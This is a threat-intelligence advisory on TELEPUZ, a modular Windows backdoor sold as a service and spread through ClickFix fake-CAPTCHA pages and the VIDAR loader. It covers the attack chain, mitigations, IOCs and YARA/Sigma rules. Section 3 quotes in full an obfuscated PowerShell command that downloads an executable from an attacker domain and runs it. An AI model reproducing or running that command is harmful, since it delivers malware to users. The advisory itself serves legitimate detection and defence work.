TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains

1. Executive summary

Elastic Security Labs reports active in-the-wild distribution of TELEPUZ, a modular, lightweight Windows DLL malware likely operated as a Malware-as-a-Service (MaaS) since late April 2026. The malware spreads via a ClickFix social-engineering chain that executes obfuscated PowerShell to download a VIDAR Go variant, which in turn deploys the TELEPUZ stager and main payload. TELEPUZ is a full-featured backdoor employing indirect syscalls, UAC bypass, token stealing for SYSTEM privilege, and a 36-command instruction set including process hollowing, keylogging, and a Chromium DevTools Protocol-based web injection module targeting financial form fields such as IBANs. EMEA financial services clients face direct exposure to transaction manipulation and credential theft; the web injector's default configuration is designed to swap financial fields in real-time browser sessions.

2. Regulatory framing

3. Technical analysis & attack chain

The following attack chain is corroborated by the Elastic Security Labs report. Attribution to a specific named actor is unconfirmed; no MITRE actor profile was resolved for this item. The MaaS assessment is based on build-submission volume and is single-sourced to Elastic.

Confirmed infection chain

1. Initial Access (ClickFix): The user visits a malicious web page displaying a fake CAPTCHA or verification prompt. The user is tricked into copying and executing a Windows shell command. The executed PowerShell command uses string concatenation to evade static analysis: C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c "$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';$f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);ri($f+':Zone.Identifier')-EA 0;& $f
2. Second Stage (VIDAR Go): The PowerShell script downloads f322a5fa.exe to %TEMP% and executes it. This binary is a VIDAR Go variant (SHA256: 580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954). VIDAR downloads and executes the TELEPUZ stager (install.exe) and the main payload (telepuz.dll).
3. Third Stage (Stager): A small PE (13–15 KB, SHA256: 03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746) downloads the main DLL, installs it in a configured folder, and executes it via rundll32.exe with a specified export name.
4. Execution and Migration: The main payload (Reference SHA256: 58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed) is a 64-bit Windows DLL. DllMain re-executes the malware via rundll32.exe if the current process is not svchost.exe or rundll32.exe. If running from %TEMP%, it migrates to a persistence directory or an %AppData% fallback, deletes the original, and creates the mutex cfgmgr_mtx.
5. Defense Evasion: The malware initializes an indirect syscall engine by mapping a fresh copy of ntdll.dll, parsing syscall numbers, and patching trampolines into a randomly selected legitimate library (dfscli.dll, davhlpr.dll, msdtclog.dll, dsrole.dll, or secur32.dll). It unhooking NTDLL by comparing loaded exports to a clean map. It patches AmsiScanBuffer (returns E_INVALIDARG) and EtwEventWrite, NtTraceEvent, NtTraceEventControl (returns zero). It removes third-party DllNotification callbacks.
6. Anti-Analysis: Checks hardware constraints (<2 CPUs, <2GB RAM), LCIDs for CIS countries, and compares usernames/computer names against hardcoded sandbox/researcher identifiers. It checks PEB.BeingDebugged, ProcessDebugPort, ProcessDebugFlags, ProcessDebugObjectHandle, and DR0–DR7 hardware breakpoints. If a debugger is found, it calls Sleep(INFINITE).
7. Privilege Escalation: Uses the COM elevation moniker technique to bypass UAC. An alternative method uses AppInfo ALPC and DebugObjects (winver.exe and computerdefault.exe). It steals SYSTEM tokens from spoolsv.exe, msdtc.exe, WmiPrvSE.exe, or svchost.exe.
8. Persistence: Installs as a Windows service by creating registry keys (e.g., HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator) to load within a new svchost.exe instance.
9. C2 Communication: Generates a session ID using FNV1 and ROR27 hashes of the computer name, volume serial, and OS install date. Attempts to connect to the primary C2 up to 10 times. If it fails, it resolves fallback C2 via:
   • Telegram: Parses t[.]me/chanadarkpart, XOR-decrypts with key Goodman.
   • Steam Profile: Parses steamcommunity[.]com//profiles/76561199705801219, XOR-decrypts with key Goodman or 111111111.
   • DNS Record: Queries codebasecode[.]com.
   • Polygon Blockchain: JSON-RPC POST to a pre-configured endpoint targeting contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E with selector 0xc3f909d4. Decrypts the response using AES256-CBC (key: cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9). If the response is <10 bytes, it acts as a kill switch (ExitThread).
   • C2 connection uses manual TCP sockets with SChannel for TLS, communicating over WebSockets at /cdn/health?sid=<session_id>.
10. Actions on Objectives: The malware supports 36 commands. Key capabilities include DownloadRunPE (process hollowing into dllhost.exe), DownloadStartStealer, DownloadStartKeyLogger, and DownloadStartWebInjectModule. The WebInjector module communicates via STDIN/STDOUT and leverages the Chrome DevTools Protocol (CDP) to intercept browser sessions. Its default configuration targets financial fields, specifically swapping IBAN values in web forms.

4. Mitigation & containment

P1 — Within 24 hours

• Block C2 and Staging Infrastructure: Block the following domains and IPs at the firewall/proxy: cal.joycedoula[.]com[.]br, cal.snehamumbai[.]org, memshowblob[.]forum, hurgadatour[.]shop, codebasecode[.]com, and all staging domains listed in §5. Block WebSocket traffic to /cdn/health?sid= and /ws/inject?cid= if egress inspection is available.
• Block Polygon RPC Abuse: If endpoints do not require blockchain interaction, block egress JSON-RPC HTTP POST traffic to Polygon endpoints, specifically targeting 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E.
• EDR/Hunting: Hunt for the creation of the cfgmgr_mtx, bginfod_mtx, or wfj64_mtx mutexes. Hunt for rundll32.exe executing DLLs from %AppData%\Local\DCFG\Runtime\Themes\Processor\ or %ProgramData%\XeroxPrint\Temp\Worker\.
• Containment: Isolate any endpoints showing svchost.exe spawning with the service name CipherAllocator or PilotmasterMast.

P2 — Within 72 hours

• Process Monitoring: Alert on rundll32.exe or dllhost.exe making outbound TCP connections on port 443 without standard browser signatures. Alert on computerdefault.exe or winver.exe being launched in debug mode (indicator of the ALPC UAC bypass).
• Registry Monitoring: Monitor for the creation of HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator and HKLM\SYSTEM\CurrentControlSet\Services\PilotmasterMast.
• Browser Security: Enforce strict Content Security Policies (CSP) and disable remote debugging (CDP) on managed Chromium/Firefox deployments to disrupt the WebInjector module.

P3 — Within 7 days

• User Awareness: Warn users about the ClickFix social engineering vector (fake CAPTCHAs prompting PowerShell execution).
• Endpoint Hardening: Ensure AMSI and ETW are functioning correctly, though note TELEPUZ actively patches these; behavioral EDR rules are required.

5. Indicators of compromise

sha256  58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed
sha256  bf3b4e645a3c0c23f87c55971069014f7424ad14497371ee7567eff68ffaf343
sha256  ff791fe1532a2dc3b3c188a71bfd0177f973ef228e4d1dda1db6d3c4b0d62b3e
sha256  580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954
sha256  03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746
sha256  a955d7e2819d5fa8b5f879cb970e1a1a91327098a7383f2a03a5e1e7e19435e3
sha256  9733a3f6409de81271f21993c7f8b9865ac9f5c68c3d4336e91afe6b312477eb
sha256  444f1c0c82b3f6cc31d685bac68b20edbde5722ce219af9cceab0c2a6537efc1
mutex  cfgmgr_mtx
mutex  bginfod_mtx
mutex  wfj64_mtx
domain  cal.joycedoula[.]com[.]br
domain  cal.snehamumbai[.]org
domain  memshowblob[.]forum
domain  hurgadatour[.]shop
domain  codebasecode[.]com
domain  chubrik[.]sbs
domain  betalegenda[.]cfd
domain  mavpaprokla[.]lat
domain  comicstar[.]lat
domain  bigblower[.]click
domain  momasites[.]lol
domain  momasites[.]com
domain  mamsites[.]lol
domain  hardenedom[.]shop
domain  hardendedom[.]shop
domain  hardendom[.]shop
domain  hardeneddom[.]shop
domain  netblokirovka[.]asia
domain  netblokir[.]asia
domain  netlobikrovka[.]asia
domain  neblokirovka[.]as
domain  kidsko[.]shop
domain  mazaporka[.]shop
domain  krabsburger[.]xyz
domain  zewaplus[.]club
ipv4  172.67.215[.]214
ipv4  172.67.165[.]144
url  hxxps://steamcommunity[.]com//profiles/76561199705801219
url  hxxps://t[.]me/chanadarkpart
filepath  %AppData%\Local\DCFG\Runtime\Themes\Processor\etwhost.dll
filepath  %AppData%\Roaming\StateRepository\Host\Recovery\systemreset.dll
filepath  %AppData%\Local\MiravaDevices\noraxrecovery.dll
filepath  %ProgramData%\XeroxPrint\Temp\Worker\grpeng.dll
filepath  %ProgramData%\Jundrax\Tracker\IrenScanner.dll
filepath  %ProgramData%\QualcommRF\dsp_agent.dll
registry  HKLM\SYSTEM\CurrentControlSet\Services\CipherAllocator
registry  HKLM\SYSTEM\CurrentControlSet\Services\PilotmasterMast

6. Detection

rule TELEPUZ_Main_Payload {
    meta:
        author = "Adverse Trace"
        date = "2026-07-15"
        reference = "https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix"
        description = "Detects TELEPUZ main payload based on mutex names, service names, and C2 paths."
    strings:
        $mutex1 = "cfgmgr_mtx" wide ascii
        $mutex2 = "bginfod_mtx" wide ascii
        $mutex3 = "wfj64_mtx" wide ascii
        $svc1 = "CipherAllocator" wide ascii
        $svc2 = "PilotmasterMast" wide ascii
        $path1 = "/cdn/health?sid=" wide ascii
        $path2 = "/ws/inject?cid=" wide ascii
        $path3 = "/static/modules/kMP6HBGEA8.bin" wide ascii
        $path4 = "/static/modules/yaVaoS3Bw.bin" wide ascii
        $path5 = "/static/modules/W2UMxylgG_.bin" wide ascii
        $path6 = "/static/assets/chromeelevator.bin" wide ascii
        $marker = "telemetriawork" wide ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

rule TELEPUZ_WebInjector_Config {
    meta:
        author = "Adverse Trace"
        date = "2026-07-15"
        reference = "https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix"
        description = "Detects TELEPUZ WebInjector module configuration strings."
    strings:
        $json1 = "\"probe_port_start\"" wide ascii
        $json2 = "\"force_kill_browser\"" wide ascii
        $json3 = "\"attach_all_tabs\"" wide ascii
        $json4 = "\"intercept_hold\"" wide ascii
        $json5 = "\"remove_where_iban\"" wide ascii
        $json6 = "\"amount_field\"" wide ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

title: TELEPUZ Malware Service Creation
id: 7a9c1f2d-4b5e-4a6c-8d7e-1f2a3b4c5d6e
status: experimental
description: Detects the creation of Windows services associated with TELEPUZ malware persistence.
references:

    - https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
author: Adverse Trace
date: 2026/07/15
tags:

    - attack.persistence
    - attack.t1543.003
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName:

            - 'CipherAllocator'
            - 'PilotmasterMast'
    condition: selection
falsepositives:

    - Unknown
level: critical

title: TELEPUZ Malware Execution via rundll32
id: 8b0d2e3c-5c6f-4d7e-9e8a-2b3c4d5e6f7a
status: experimental
description: Detects rundll32.exe executing DLLs from known TELEPUZ persistence or installation paths.
references:

    - https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
author: Adverse Trace
date: 2026/07/15
tags:

    - attack.execution
    - attack.t1218.011
logsource:
    product: windows
    category: process_creation
detection:
    selection_tool:
        Image|endswith: '\rundll32.exe'
    selection_path:
        CommandLine|contains:

            - '\DCFG\Runtime\Themes\Processor\etwhost.dll'
            - '\StateRepository\Host\Recovery\systemreset.dll'
            - '\MiravaDevices\noraxrecovery.dll'
            - '\XeroxPrint\Temp\Worker\grpeng.dll'
            - '\Jundrax\Tracker\IrenScanner.dll'
            - '\QualcommRF\dsp_agent.dll'
    condition: selection_tool and selection_path
falsepositives:

    - Unknown
level: critical

7. Sources

• Elastic Security Labs, "TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains", https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix, Published 2026-07-16.

8. Adverse Trace position

TELEPUZ represents a high-severity threat to EMEA financial services due to its specific targeting of financial data (IBAN swapping) via the WebInjector module and its robust evasion capabilities (indirect syscalls, AMSI/ETW patching). While the MaaS infrastructure is currently small with only two primary C2 domains identified, the rapid development cycle and high volume of VirusTotal submissions indicate imminent scale. Attribution is unconfirmed. The reliance on blockchain and social platforms for C2 fallback complicates network-level blocking. Clients should immediately implement the provided YARA/Sigma rules, block the listed staging and C2 domains, and alert on the specific service names (CipherAllocator, PilotmasterMast). Adverse Trace will continue to track TELEPUZ build submissions and update IOCs as the infrastructure evolves.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.